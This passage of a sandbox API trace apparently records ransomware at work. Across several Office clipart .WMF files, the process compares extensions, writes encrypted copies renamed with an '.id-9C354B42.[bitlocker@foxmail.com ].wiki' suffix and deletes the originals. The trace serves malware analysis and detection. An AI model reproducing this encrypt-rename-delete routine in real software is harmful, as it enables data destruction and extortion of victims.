(lpString1=".rar", lpString2=".WMF") returned -1 [0188.104] lstrlenW (lpString=".bz2") returned 4 [0188.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.105] lstrlenW (lpString=".7z") returned 3 [0188.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.105] lstrlenW (lpString=".dbf") returned 4 [0188.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.105] lstrlenW (lpString=".1cd") returned 4 [0188.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0188.105] lstrlenW (lpString=".jpg") returned 4 [0188.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.105] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.105] lstrlenW (lpString="DD01630_.WMF") returned 12 [0188.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.108] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=296) returned 1 [0188.108] CloseHandle (hObject=0x1f4) returned 1 [0188.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0188.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.108] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.108] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.109] GetLastError () returned 0x0 [0188.109] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x128, lpOverlapped=0x0) returned 1 [0188.110] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x130, lpOverlapped=0x0) returned 1 [0188.110] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.110] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.111] SetEndOfFile (hFile=0x1e0) returned 1 [0188.111] CloseHandle (hObject=0x1e0) returned 1 [0188.111] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.111] SetEndOfFile (hFile=0x1f4) returned 1 [0188.112] CloseHandle (hObject=0x1f4) returned 1 [0188.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0188.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.112] lstrlenW (lpString=".doc") returned 4 [0188.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.112] lstrlenW (lpString=".docx") returned 5 [0188.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.112] lstrlenW (lpString=".pdf") returned 4 [0188.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.112] lstrlenW (lpString=".xls") returned 4 [0188.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.112] lstrlenW (lpString=".xlsx") returned 5 [0188.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.112] lstrlenW (lpString=".ppt") returned 4 [0188.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.113] lstrlenW (lpString=".zip") returned 4 [0188.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.113] lstrlenW (lpString=".rar") returned 4 [0188.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.113] lstrlenW (lpString=".bz2") returned 4 [0188.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.113] lstrlenW (lpString=".7z") returned 3 [0188.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.113] lstrlenW (lpString=".dbf") returned 4 [0188.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.113] lstrlenW (lpString=".1cd") returned 4 [0188.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.113] lstrlenW (lpString=".jpg") returned 4 [0188.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.113] lstrlenW (lpString=".doc") returned 4 [0188.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.113] lstrlenW (lpString=".docx") returned 5 [0188.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.113] lstrlenW (lpString=".pdf") returned 4 [0188.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.113] lstrlenW (lpString=".xls") returned 4 [0188.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.113] lstrlenW (lpString=".xlsx") returned 5 [0188.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.113] lstrlenW (lpString=".ppt") returned 4 [0188.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.114] lstrlenW (lpString=".zip") returned 4 [0188.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.114] lstrlenW (lpString=".rar") returned 4 [0188.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.114] lstrlenW (lpString=".bz2") returned 4 [0188.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.114] lstrlenW (lpString=".7z") returned 3 [0188.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.114] lstrlenW (lpString=".dbf") returned 4 [0188.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.114] lstrlenW (lpString=".1cd") returned 4 [0188.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0188.114] lstrlenW (lpString=".jpg") returned 4 [0188.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.114] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.114] lstrlenW (lpString="DD01631_.WMF") returned 12 [0188.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.115] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=552) returned 1 [0188.115] CloseHandle (hObject=0x1f4) returned 1 [0188.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0188.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.115] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.115] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.115] GetLastError () returned 0x0 [0188.115] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x228, lpOverlapped=0x0) returned 1 [0188.117] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x230, lpOverlapped=0x0) returned 1 [0188.117] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.117] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.118] SetEndOfFile (hFile=0x1e0) returned 1 [0188.118] CloseHandle (hObject=0x1e0) returned 1 [0188.118] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.118] SetEndOfFile (hFile=0x1f4) returned 1 [0188.118] CloseHandle (hObject=0x1f4) returned 1 [0188.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0188.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.119] lstrlenW (lpString=".doc") returned 4 [0188.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.119] lstrlenW (lpString=".docx") returned 5 [0188.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.119] lstrlenW (lpString=".pdf") returned 4 [0188.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.119] lstrlenW (lpString=".xls") returned 4 [0188.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.119] lstrlenW (lpString=".xlsx") returned 5 [0188.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.119] lstrlenW (lpString=".ppt") returned 4 [0188.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.119] lstrlenW (lpString=".zip") returned 4 [0188.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.119] lstrlenW (lpString=".rar") returned 4 [0188.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.119] lstrlenW (lpString=".bz2") returned 4 [0188.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.274] lstrlenW (lpString=".7z") returned 3 [0188.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.274] lstrlenW (lpString=".dbf") returned 4 [0188.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.274] lstrlenW (lpString=".1cd") returned 4 [0188.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.274] lstrlenW (lpString=".jpg") returned 4 [0188.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.274] lstrlenW (lpString=".doc") returned 4 [0188.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.274] lstrlenW (lpString=".docx") returned 5 [0188.274] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.275] lstrlenW (lpString=".pdf") returned 4 [0188.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.275] lstrlenW (lpString=".xls") returned 4 [0188.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.275] lstrlenW (lpString=".xlsx") returned 5 [0188.275] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.275] lstrlenW (lpString=".ppt") returned 4 [0188.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.275] lstrlenW (lpString=".zip") returned 4 [0188.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.275] lstrlenW (lpString=".rar") returned 4 [0188.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.275] lstrlenW (lpString=".bz2") returned 4 [0188.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.275] lstrlenW (lpString=".7z") returned 3 [0188.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.275] lstrlenW (lpString=".dbf") returned 4 [0188.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.275] lstrlenW (lpString=".1cd") returned 4 [0188.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0188.275] lstrlenW (lpString=".jpg") returned 4 [0188.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.275] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.275] lstrlenW (lpString="EN00320_.WMF") returned 12 [0188.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.276] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=736) returned 1 [0188.276] CloseHandle (hObject=0x20c) returned 1 [0188.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0188.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.276] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.276] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.277] GetLastError () returned 0x0 [0188.277] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2e0, lpOverlapped=0x0) returned 1 [0188.278] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2f0, lpOverlapped=0x0) returned 1 [0188.279] ReadFile (in: hFile=0x20c, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.279] WriteFile (in: hFile=0x200, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.279] SetEndOfFile (hFile=0x200) returned 1 [0188.279] CloseHandle (hObject=0x200) returned 1 [0188.280] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.280] SetEndOfFile (hFile=0x20c) returned 1 [0188.280] CloseHandle (hObject=0x20c) returned 1 [0188.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0188.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.281] lstrlenW (lpString=".doc") returned 4 [0188.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.281] lstrlenW (lpString=".docx") returned 5 [0188.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.281] lstrlenW (lpString=".pdf") returned 4 [0188.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.281] lstrlenW (lpString=".xls") returned 4 [0188.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.281] lstrlenW (lpString=".xlsx") returned 5 [0188.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.281] lstrlenW (lpString=".ppt") returned 4 [0188.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.281] lstrlenW (lpString=".zip") returned 4 [0188.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.281] lstrlenW (lpString=".rar") returned 4 [0188.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.281] lstrlenW (lpString=".bz2") returned 4 [0188.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.281] lstrlenW (lpString=".7z") returned 3 [0188.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.281] lstrlenW (lpString=".dbf") returned 4 [0188.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.281] lstrlenW (lpString=".1cd") returned 4 [0188.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.282] lstrlenW (lpString=".jpg") returned 4 [0188.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.282] lstrlenW (lpString=".doc") returned 4 [0188.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString=".docx") returned 5 [0188.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.282] lstrlenW (lpString=".pdf") returned 4 [0188.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString=".xls") returned 4 [0188.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.282] lstrlenW (lpString=".xlsx") returned 5 [0188.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.282] lstrlenW (lpString=".ppt") returned 4 [0188.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.282] lstrlenW (lpString=".zip") returned 4 [0188.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.282] lstrlenW (lpString=".rar") returned 4 [0188.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString=".bz2") returned 4 [0188.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString=".7z") returned 3 [0188.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.282] lstrlenW (lpString=".dbf") returned 4 [0188.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0188.282] lstrlenW (lpString=".1cd") returned 4 [0188.283] lstrcmpiW 